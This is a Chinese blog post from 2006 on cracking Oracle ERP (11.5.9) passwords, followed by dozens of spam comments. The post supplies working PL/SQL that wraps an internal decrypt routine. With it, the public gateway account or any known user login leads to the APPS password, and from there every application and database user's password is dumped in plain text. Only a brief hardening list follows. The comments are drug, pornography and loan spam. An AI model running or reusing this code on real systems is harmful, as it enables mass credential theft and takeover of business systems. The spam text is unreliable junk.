可乐加冰

博客导航

博客日历

«	七月 2009					»
一	二	三	四	五	六	日
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30	31

破解Oracle ERP 密码

发表人:521102yz | 发表时间: 2006年五月05日, 16:14

1. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下

建立Package Header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;

(2).建立Package Body

CREATE OR REPLACE PACKAGE BODY CrackPwd

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

LANGUAGE JAVA

NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END CrackPwd;

1. 取得APPS密码的步骤

假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码

2. 通过任何一个User name/password取得APPS密码的方法

SET SERVEROUTPUT ON

DECLARE

guestUserPwd VARCHAR2(200);

guestUserName VARCHAR2(100);

guestFndPwd VARCHAR2(100);

guestEncFndPwd VARCHAR2(100);

delim NUMBER;

BEGIN

guestUserPwd :='GUEST/ORACLE';--Can any user password

IF guestUserPwd IS NULL THEN

guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

END IF;

delim := INSTR(guestUserPwd,'/');

guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

SELECT encrypted_foundation_password INTO guestEncFndPwd

FROM fnd_user_view

WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

(end_date IS NULL OR end_date > SYSDATE);

guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

IF NOT (guestFndPwd IS NULL) THEN

DBMS_OUTPUT.put_line(guestFndPwd);

END IF;

END;

注: guestUserPwd :='GUEST/ORACLE';--Can any user password

上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开

以上程序可以用toad执行

3. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

SET SERVEROUT ON

DECLARE

v_encrypted_pwd VARCHAR2 (100);

v_apps_pwd VARCHAR2 (100);

v_user_pwd VARCHAR (100);

BEGIN

v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

3C10B916D88062771250F4BE653891CA90671C74187B132118335';

--get ENCRYPTED_USER_PASSWORD from fnd_user

IF v_apps_pwd IS NULL

THEN

v_apps_pwd := 'APPS';

END IF;

v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

DBMS_OUTPUT.put_line (v_user_pwd);

END;

4. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user

5. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou

6. 删除第一步建立的Package

DROP PACKAGE CrackPwd

7. 结论

1).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.

2).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推

3).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.

4).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.

8. 提高Oracle ERP的安全性

(1).更改APPS的密码

(2).更改所有预先安装的fnd_user中所有user的password

(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password

(4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码

(5).尽量不要将Database 可以通过公网连接.

(6).User离职后要将其密码变更后才停用.

但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.

9. 此程序在Oracle ERP 11.5.9通过Toad测试通过.

uidsfeeckocsd [回复]

uidsfeeckocsd

Mikl | 08/08/2007, 20:43

uidsfeeckocsd [回复]

uidsfeeckocsd

Mary | 08/08/2007, 20:43

uidsfeeckocsd [回复]

uidsfeeckocsd

George | 08/08/2007, 20:43

uidsfeeckocsd [回复]

uidsfeeckocsd

Randolf | 08/08/2007, 20:43

uidsfeeckocsd [回复]

uidsfeeckocsd

Randolf | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

Carl | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

George | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

Carl | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

Keril | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

Mikl | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

Fred | 08/08/2007, 20:44

uidsfeeckocsd [回复]

uidsfeeckocsd

Mary | 08/08/2007, 20:45

uidsfeeckocsd [回复]

uidsfeeckocsd

Mikl | 08/08/2007, 20:45

uidsfeeckocsd [回复]

uidsfeeckocsd

Randolf | 08/08/2007, 20:45

uidsfeeckocsd [回复]

uidsfeeckocsd

George | 08/08/2007, 20:45

uidsfeeckocsd [回复]

uidsfeeckocsd

Randolf | 08/08/2007, 20:45

uidsfeeckocsd [回复]

uidsfeeckocsd

Randolf | 08/08/2007, 20:45

uidsfeeckocsd [回复]

uidsfeeckocsd

John | 08/08/2007, 20:46

uidsfeeckocsd [回复]

uidsfeeckocsd

Randolf | 08/08/2007, 20:46

whywhrh44 [回复]

whywhrh44

Mary | 27/09/2007, 16:31

whywhrh44 [回复]

whywhrh44

Mounty | 27/09/2007, 16:31

whywhrh44 [回复]

whywhrh44

George | 27/09/2007, 16:31

鼠镨螯 GTA 4 狸鲨 [回复]

http://www.gta4.web3x.ru - 鼠镨螯 GTA 4 2dvd 玎 250 痼

Masa_nison | 06/01/2009, 01:46

Have u ever wonder how to wach naked girls on webcam for FREE!? [回复]

So here is the chance to get yourself free webcams . com account and u can watch naked girls
or boys if u want.
http://free-webcamscom-lifetime-account.blogspot.com/

Weaxalkaxia | 03/05/2009, 15:24

Test, just a test [回复]

Hello. And Bye.

XRumerTest | 04/05/2009, 10:06

Quick Ways to Earn Extra Cash [回复]

One of the easiest ways to earn money online, i am making arround 50$ a day! And u can do these t
o cause is realy easy.
U can find all the info on these blog
http://quick-ways-to-earn-extra-cash.blogspot.com/

gliliertFes | 07/05/2009, 13:15

Adult Friend Finder Gold Membership [回复]

Wow this what i have found is great! Until now i have pay for this service! but not anymore i have foind this blog
and followed steps as it is described.
And guess what, i have a free membership with greatest dating site ever!
http://adult-friend-finder-gold-membership.blogspot.com/

mymnuttemefug | 21/05/2009, 22:25

Booty Video [回复]

Hello Guys

just found this prurient bum Shaking vid on youtube...

check it out!

http://www.youtube.com/watch?v=BsoHCukkeUo

May you can share something similar.

happy watching
mastablubba

Mastablubba | 22/05/2009, 06:27

MilesGershon.Com vs. Spacify.com : Modern Plasma TV Stands & Wall Units [回复]

Hey Guys
I've been around here for a while now, and I finally found something worth writing about: I found a great deal on a custom [url=http://www.milesgershon.com][b] Modern Plasma TV Stand [/b][/url]. These guys have 24/7 call-in service and they installed AND delivered my wall unit all for Free!!! Check them out I highly recommend

Enjoy

encasyUpserce | 26/06/2009, 18:34

tramadol hydrochloride overdose tramadolor ingredient medical precautions with tramadol tramadol different use buy cheap tramadol soma viagra online tramadol overnight cheap 180 cash delivery tramadol torrance california tramadol tramadol no prescription cod accept checks tramadol extended release drug prescription tramadol take tramadol while breast feeding pet meds tramadol extended release tramadol cod and avernight is ordering tramadol online illegal buy tramadol hcl 50mg in markham tramadol use during pregnancy tramadol ultram vs correct amount of tramadol 50mg to take for pain tramadol online to florida with mastercard tramadol hydrochloride snorting paypal no prescription tramadol tramadol libido tramadol pain killer withdrawal tramadol tramadol prescription drug l544 caplet tramadol tramadol hcl purchase online tramadol worsens addiction tramadol and amex methadone maintenance tramadol cheap tramadol delivery to florida buy tramadol hcl 50mg in quebec city tramadol order online overnight shipping ups tramadol delivery tramadol metabolite urine screen tramadol online india tramadol except information tramadol cod 180ct dogs tramadol [回复]

3jyo1ejb9i | 04/07/2009, 05:49

tramadol hcl canine knee pain relief tramadol does tramadol make you sleepy difference between ibuprofen and tramadol tramadol hydro uses tramadol apap surgical procedures no prescription tramadol enhancing tramadol tramadol buy 100mg 300 mallinckrodt pharmaceuticals tramadol hydrochloride tablets by cod tramadol cod order saturday tramadol fedex overnight delivery tramadol overnight delivery tramadol and dogs cheap 120 tramadol buy tramadol hcl 50mg in brampton south korea tramadol otc tramadol site tramadol legal status tramadol contraindication cheapest 180 tramadol tablets buy tramadol from india online pharmacies tramadol tramadol what class of drug tramadol unrination buy tramadol hcl 50mg in manitoba tramadol and flushed feeling buy tramadol hcl 50mg in quebec city off label uses for tramadol no scrit tramadol clinical trials using tramadol for depression what is better vicodin or tramadol tramadol beware shipping tramadol recreational dose danger tramadol-acetaminophen par tramadol hcl india order ultram shipped to florida taking tramadol and zoloft health solutions network tramadol order tramadol injectable available in united states [回复]

trhvs16q1o | 04/07/2009, 06:59

tramadol effects medication side tramadol hydrochloride and abuse shop tramadol tramadol an drug effects side tramadol tramadol urine drug tests exposure to sun while taking tramadol hydrochloride tramadol tramadol damage heart tramadol free fedex shipping tramadol more addicting than vicodin ingredients in tramadol hcl tramadol transporter tramadol order without prescription check cod tramadol what is tramadol tr50 tramadol on-line cod does tramadol work for premature ejaculation tramadol hcl dosage is tramadol a narc canine dosage tramadol tramadol studies is tramadol strong ultram ultram tramadol hci tablets lcd projectors buy tramadol medicine tramadol hcl overnight tramadol 100mg sr pain reliever tramadol werking tramadol wiki tramadol roomed online tramadol from medstore tramadol hcl use 180 tramadol cod order tramadol overnight florida tramadol research cod delevery tramadol tramadol and wikipedia 100 mg tramadol 6 7 dihydroxybergamottin and tramadol tramadol and abuse liability [回复]

das8vhv257 | 04/07/2009, 08:06

tramadol and lactation butalbital fioricet naproxen tramadol ultracet ultram soma vs tramadol pain relief 50 mg tramadol abuse buy cheap onlinehtml tram tramadol xoomeralicei tramadol tramal ultram tramadol buy 100 mg no prescription snorting tramadol hydrochloride buy tramadol hcl 50mg in nunavut tramadol hcl 50mg side effect buy tramadol 180 cod tramadol hydrochloride dose hair follicle test quantative tramadol drug tramadol price list tramadol liq euthanize dog tramadol ultram tramadol for dogs buy tramadol hcl 50mg in kamloops tramadol serotonin crisis tramadol and drug test tramadol injections buy side effects of tramadol tramadol use during pregnancy tramadol and overdose tramadol saturday delivery no prescription free tramadol delivery tramadol tenuate tramadol or ultram withdrawal abrup overnight tramadol no rx tramadol dosing instructions tramadol american express pills us tramadol canine pain tramadol tramadol cheap 120 pills tramadol pregnent tramadol positive urine drug screens states that ultram can be shipped 50 hcl mg tablet tramadol tramadol hcl without prescription opioids mexico tramadol [回复]

wrqwcy9cze | 04/07/2009, 09:11

Cialis [回复]

Your Site Is Great!, Clonazepam, ximzkx, Tramadol
, 2201, Phentermine
, sbvnym, Marlboro Cigarettes, =[[, Buy Cialis, 332,

Cialis | 04/07/2009, 10:05

jqdsbepc, viagra online, igrxnosp, cialis online, opcoksvr, cialis, dekfxomp, comprare cialis, frckbepw, [回复]

jqdsbepc, viagra online, igrxnosp, cialis online, opcoksvr, cialis, dekfxomp, comprare cialis, frckbepw,

viagra | 04/07/2009, 10:13

tramadol causes blood in stools ultram extended release tramadol buy tramadol cheap medication 35009 buy forum cash delivery tramadol tramadol and pregabalin composition 2737 amerimedrx online pharmacy tramadol yasmin tramadol 50 mg no prescription tramadol $0.29 per pill toxicology tramadol lethal level side effects tramadol dogs tramadol cheap buy 200 mg tramadol tramadol vas score tramadol pt5 tramadol 200mg buy online ship to florida tramadol tramadol hcl effects decent online drug tramadol tramadol showed online tramadol pharmacy cod tramadol hydrochloride capsules 50g cold water extraction tramadol tramadol 150 tablets tramadol detox side effects tramadol and ibriprophin tramadol 180 fre overnight shipping 99.00 tramadol dog kidney people snorting tramadol tramadol withdrawal from tramadol 200 mg pill tramadol ultram hci advil and tramadol what ingredients are in tramadol tramadol online fedex delivery to florida tramadol vs norco tramadol florida tramadol wiki all about tramadol briskly 50 mg hcl tramadol can you snort tramadol 50 mg [回复]

aqgm2s0dr6 | 04/07/2009, 10:17

psychology of education, jessica simpson naked havin lesbien sex, 770, kim kardashian celebraty sex tapes, 223, pamela anderson sex tape fuck, kiijm, tila sex tape, 085, cash advance loans, jwb, buckeey sex tape, 8O, real ex girlfriends caught fucking on tape, 638, verne mini me sex tape stills, tdxg, did have a eve sex tape, :OOO, fully naked male celebrites, senaaz, [回复]

emmer watson naked | 04/07/2009, 10:44

education world, t naked celebrity, 146748, paris hilten naked, >:-)), vern sex tape, jfq, pamala anderson butt naked, 01444, pamela anderson sex tapa, 3475, celebrity naked adrienne bailon, 118, naked celebraty videos, :]]], jessica biel naked scene video from powder blue, 7012, ex girlfriend tape, 156868, beyonce nakes, >:-(((, kim kardashian butt naked, ogy, nude naked celebrities, 8D, angelina jolie naked movie, %-), [回复]

early payday loans | 04/07/2009, 10:44

new york city department of education, kim kardashian sex tape tape, 8-D, eve the raper sex tape, :OOO, pam anderson sex tape streaming, cqh, naked vanessa hadgens, 023, meg white sex tape, %]], pamela anderson sex taps, 542715, pam anderson sextapes, 896363, britney spears has a sex tape pictures, %), advance cash loan mo, >:-OO, kim kardashian butt naked, >:PPP, kim kardashian sex tape rapidshaer, :-[[, kim lindsay lohan sex tape, 7269, download mini me sextape with bittorrent, 713700, mini me verne sex tape, yzcz, [回复]

naked spreadeagled pamela anderson | 04/07/2009, 10:45

Buy Xanax [回复]

Best Wishes!, Cheap viagra, bgn, Viagra, 4031, Lorazepam, 0536, cialis, 8O, Cheap kamagra, 8D,

Buy Xanax | 04/07/2009, 11:04

lkkgntfa, levitra generique, bakbmoww, cialis acquisto, mjfoekyq, buy cheap viagra, lxuktpoa, cheap cialis, ghxxpqar, [回复]

lkkgntfa, levitra generique, bakbmoww, cialis acquisto, mjfoekyq, buy cheap viagra, lxuktpoa, cheap cialis, ghxxpqar,

cialis | 04/07/2009, 11:08

Adipex [回复]

Best Wishes!, Cheap Valium, pcyxju, Cheap Klonopin, zbuis, Cheap viagra, 8((, kamagra
, %PP, Cheap Phentermine, :-O,

Adipex | 04/07/2009, 12:03

eulyfnwc, viagra, ngzznoom, viagra sale, bzioiylu, viagra, qkdhvuhl, buy cheap cialis, ozdglvmq, [回复]

eulyfnwc, viagra, ngzznoom, viagra sale, bzioiylu, viagra, qkdhvuhl, buy cheap cialis, ozdglvmq,

cialis | 04/07/2009, 12:07

I answer you Great work,webmaster,nice designmhte -61 [回复]

Lavoro spettacolare O_o hydrocodone PROPECIA
Adipex diet pills acomplia
;;

Ozlnbvqu | 04/07/2009, 12:08

uljdeisg, buy cialis, rbuanvhj, cialis sale, coixyqcd, viagra, xulemzye, cialis, qnipfcbb, [回复]

uljdeisg, buy cialis, rbuanvhj, cialis sale, coixyqcd, viagra, xulemzye, cialis, qnipfcbb,

buy cheap cialis | 04/07/2009, 12:50

cdollwwv, cialis, opxcovyp, cheap cialis, zskgmhjf, viagra, txdptgjd, cheap viagra, iwzrjnjo, [回复]

cdollwwv, cialis, opxcovyp, cheap cialis, zskgmhjf, viagra, txdptgjd, cheap viagra, iwzrjnjo,

viagra | 04/07/2009, 12:53

Comment6, Buy Viagra Online, pbHc7, Cialis, 3tSyl, Generic Propecia, oGcCC0, Buy Levitra, Xcbot, Cialis, Wlc7C, Generic Levitra, jFxXv. [回复]

Comment6, Buy Viagra Online, pbHc7, Cialis, 3tSyl, Generic Propecia, oGcCC0, Buy Levitra, Xcbot, Cialis, Wlc7C, Generic Levitra, jFxXv.

Cialis | 04/07/2009, 12:57

Valium [回复]

Best Wishes!, Buy Ambien, ljdewu, Cheap Klonopin, :-(, Alprazolam, rlanq, kamagra, =O, Phentermine
, :-[,

Valium | 04/07/2009, 13:03

qqxgmhti, cialis, lcigglcw, buy cheap cialis, ttcmqrmu, viagra online, gvkksdho, buy viagra, uyrxckav, [回复]

qqxgmhti, cialis, lcigglcw, buy cheap cialis, ttcmqrmu, viagra online, gvkksdho, buy viagra, uyrxckav,

cialis generika | 04/07/2009, 13:45

Viagra [回复]

Good job., Cheap Klonopin, %((, Tramadol
, aqc, kamagra kaufen, yufs, Cheap Ativan, rrhxyu, Cheapest Cialis, >:-P,

Viagra | 04/07/2009, 14:02

Wonderfull Site, Buy Viagra, 899324, Buy Viagra, ebh, Viagra, 3958, Order Viagra, 246551, Order Viagra, 8D, Viagra, 247102, Viagra, >:-))), [回复]

Wonderfull Site, Buy Viagra, 899324, Buy Viagra, ebh, Viagra, 3958, Order Viagra, 246551, Order Viagra, 8D, Viagra, 247102, Viagra, >:-))),

Order Viagra | 04/07/2009, 14:20

technology in education, kim kardashian ray j sex tap, yoxtvt, advance cash fast in loan payday, :(, kim kardashian sex tpe, 31707, naked pctures of lindsay lohan, 880, kim kardashian ray j sex tap, %-]], watch pamela anderson and tommy lee sex tape, 8P, kim kardashian sex tape red tube, 1211, jordan katie price sex tape, 8-P, advance cash loan mo, 69319, megan fox sex tapes, 8-D, angelina jolie totally naked, luc, [回复]

amateur home sex tapes | 04/07/2009, 14:46

zoologist education requirements, alyson hannigan sex tape rar, 7213, kristin davis sex tape download here, 738733, ashley tisdale naked albums, 117870, kirstin davis sex tape video, mnri, where can i find the eve sex tape, 815, kim kardashian sex tape part 2, efr, naked celebrity shots, isbfsb, did have a eve sex tape, uqse, eva mendes completely naked, 821383, celebrities with sex tapes, efdu, [回复]

where can i find the eve sex tape | 04/07/2009, 14:46

michigan department of education, paris hilten naked, 8], kim karashian and ray j sex tape, =PPP, kim kardashian celebraty sex tapes, >:-]], 2009 britney spears sex tape, 8-[[, buckeey sex tape file host link, 701, vanessa hudgens naked unedited, wypk, kim kardashian and ray j sex tape, 8PP, britney spears naked womanizer, 500946, advance cash loan mo, 925689, can i include a second job that is paid in cash in president obama's loan modification plan?, 680697, cash advance and loans, ocajv, ray j and kim orginal sex tape, 57929, ashley tisdale naked, :-PPP, [回复]

katie jordan price sex tape | 04/07/2009, 14:46

dyqtrmcy, viagra sale, dhclwtcr, buy cialis, eazkmids, cialis online, wldeqgjx, cheap cialis, qahesffb, [回复]

dyqtrmcy, viagra sale, dhclwtcr, buy cialis, eazkmids, cialis online, wldeqgjx, cheap cialis, qahesffb,

cialis acheter | 04/07/2009, 14:50

Klonopin [回复]

Your Site Is Great!, Buy Viagra, 452810, cialis kaufen, 777040, Cigarettes
, uzqfk, Buy Cialis, 311, Cheap kamagra, sbsqxl,

Klonopin | 04/07/2009, 15:01

dtnbwnlo, cialis acheter, phglohkn, viagra sale, qjxeaqpu, cialis online, hberazlk, buy cheap viagra, djhzftzj, [回复]

dtnbwnlo, cialis acheter, phglohkn, viagra sale, qjxeaqpu, cialis online, hberazlk, buy cheap viagra, djhzftzj,

costo viagra | 04/07/2009, 15:24

可乐加冰

博客导航

博客日历

最新发表

破解Oracle ERP 密码

发表评论

搜索

文章归档

文章分类

浏览排行

我的链接

新闻聚合